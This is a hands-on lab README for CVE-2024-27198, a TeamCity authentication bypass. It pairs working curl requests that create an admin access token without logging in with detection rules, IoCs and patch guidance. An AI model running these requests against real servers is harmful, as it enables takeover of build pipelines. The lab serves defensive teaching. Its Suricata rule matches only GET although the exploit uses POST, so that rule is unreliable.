## https://sploitus.com/exploit?id=D6B398F7-FE57-54AC-9E26-6CF71F1FCAB0
# CVE-2024-27198 Lab
## Description
TeamCity provides an admin-only page for token management that is not protected by authentication. This allows an unauthenticated user to generate an access token for the admin user if they can find an ID of an existing user.
### CVE Details
- CVE ID: CVE-2024-27198
- CWE: [CWE-288](https://cwe.mitre.org/data/definitions/288.html)
- CNA: JetBrains s.r.o.
- Base Score: 9.8 CRITICAL
- Vector:
- CVSS:3.1
- AV:N Network
- AC:L Low
- PR:N None
- UI:N None
- S:U Unchanged
- C:H High
- I:H High
- A:H High
## Threat Intelligence & OSINT
### Real-World Impact & Exploitation
- **CISA KEV Catalog:** Added on **March 7, 2024**, confirming active exploitation in the wild.
- **Threat Actors:** Exploited by multiple ransomware groups and APTs, notably the **BianLian ransomware group** and the **Jasmin ransomware variant**. Attackers used this bypass to create rogue administrator accounts, deploy malicious plugins, and execute arbitrary code (RCE) to move laterally within victim networks.
- **Target Profile:** CI/CD pipelines are high-value targets (Supply Chain Attacks). Compromising TeamCity allows attackers to inject malicious code into software builds, steal source code, and extract deployment secrets (AWS keys, certificates).
### Why this CVE is Critical
The vulnerability lies in the REST API routing mechanism. By appending specific characters (like `?jsp=/app/rest/...;.jsp`) to an unauthenticated endpoint, attackers can trick the TeamCity web server into routing the request to an authenticated endpoint while bypassing the security filters. This requires zero prior knowledge or access, making it a pure 9.8 CVSS.
## Steps to reproduce
### Start the containers
```sh
cd CVE-2024-27198
```
```sh
docker compose -f docker-compose.yml up -d
```
Access the vulnerable Teamcity instance at [http://localhost:8111](http://localhost:8111).
Access the patched Teamcity instance at [http://localhost:8112](http://localhost:8112).
### Login Portal
Username:
```sh
admin
```
Password:
```sh
admin
```
### Test the vulnerability
GET request for a resource without authentication:
```sh
curl -i http://localhost:8111/app/rest/users
```
```sh
curl -i http://localhost:8112/app/rest/users
```
Both should return an error with 401 status code.
### Generate a token for admin user
```sh
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
```
This should return a token like this (The token is different every time):
```sh
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
```
```sh
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
```
This should return an error with 401 status code because the patched instance does not have the vulnerability.
### Verify token
```sh
curl -i -H "Authorization: Bearer " \
http://localhost:8111/app/rest/users
```
Should return the list of users.
### Delete the token
1. Go to http://localhost:8111 with admin account.
2. Click on the profile icon on the top right.
3. Go to Profile -> Access Tokens.
4. You will see the "REDTEAM" token.
5. Simply click Delete next to the token.
### Blue Team: Hunting for IoCs in Logs (The Stealth Factor)
During the demonstration on the lab, you can show a massive **Blue Team finding**: by default, this vulnerability is incredibly stealthy!
1. Tomcat access logs are disabled by default in the TeamCity Docker image, so the `;.jsp` HTTP requests are **not logged**.
2. The TeamCity audit log does **not** log token creation via the REST API.
So how do we catch it? **When the attacker cleans up their tracks!**
When the attacker deletes their rogue token to hide, TeamCity *does* log that.
**Find the attacker covering their tracks in the audit logs:**
```sh
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
```
*(You will see a log entry indicating that the "REDTEAM" token was deleted).*
### Stop the containers
```sh
docker compose -f docker-compose.yml down
```
## Mitigation & Detection
### Technical Analysis (CWE-288)
This vulnerability is an instance of **CWE-288: Authentication Bypass Using an Alternate Path or Channel**.
The flaw stems from a path confusion issue between the Tomcat web server and the TeamCity application router. By appending `;.jsp` and passing the target REST API endpoint in the `jsp=` parameter, the initial security filter interprets the request as an unauthenticated request to a public `.jsp` file (which is allowed). However, the internal router strips the `;.jsp` and forwards the request to the restricted `/app/rest/` endpoint without enforcing the authentication filter.
**Legitimate Use Case (Why is `;` allowed?):**
Tomcat uses the semicolon character (`;`) for **Matrix Parameters**. Historically, this mechanism is used to pass parameters directly within the path, such as appending `JSESSIONID` to maintain user session state when cookies are disabled. This normal, legitimate web server behavior, combined with the improper validation by the TeamCity application router, is what creates the vulnerability.
### Indicators of Compromise (IoCs)
To detect an ongoing or past compromise, Blue Teams should look for:
1. **Web Logs:** HTTP requests targeting `/app/rest/` endpoints but containing the anomalous `;.jsp` string in the URI.
2. **Audit Logs (`teamcity-server.log`):** Unexplained generation of access tokens or creation of new administrative accounts.
3. **System Level:** Installation of unrecognized or suspicious plugins (often used by attackers to escalate privileges and achieve Remote Code Execution).
### Log Detection (Sigma Rule)
Because the initial exploit is stealthy by default, Blue Teams must rely on detecting the attacker's post-exploitation actions, such as covering their tracks. Here is a Sigma rule for your SIEM to detect suspicious token deletions:
```yaml
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
```
### SIEM Live Demo (Blue Team)
To prove that this detection works, run the `siem_simulator.py` script.
1. Open a **second terminal** alongside your exploit terminal.
2. Make sure the vulnerable container is running (`docker compose up -d`).
3. Run the simulator:
```sh
python3 siem_simulator.py
```
4. In the first terminal, run the exploit, verify the token, and then **delete the token** via the web interface.
5. Watch the second terminal light up with a red critical alert showing the Sigma rule catching the attacker covering their tracks!
### Remediation
- **Official Patch:** Upgrade TeamCity to version **2023.11.4** or higher, which properly sanitizes and enforces route matching on the backend.
- **Workaround:** If patching is impossible, JetBrains released a security patch plugin that can be installed on vulnerable instances.
### Network Detection (Suricata / Snort Rule)
To detect this exploitation attempt on the network, a SOC can implement the following IDS rule, which looks for the anomalous `;.jsp` pattern combined with REST API paths:
```suricata
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
```
### Test the patched version (Lab Demonstration)
To prove the mitigation works, you can launch the exact same exploit payload against the patched TeamCity container running on port `8112`:
```sh
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
```
Because the patch strictly enforces route matching and properly sanitizes matrix parameters, the bypass will fail. You should see a `401 Unauthorized` or `404 Not Found` response instead of a generated token.
## Links
- [CVE-2024-27198](https://nvd.nist.gov/vuln/detail/cve-2024-27198)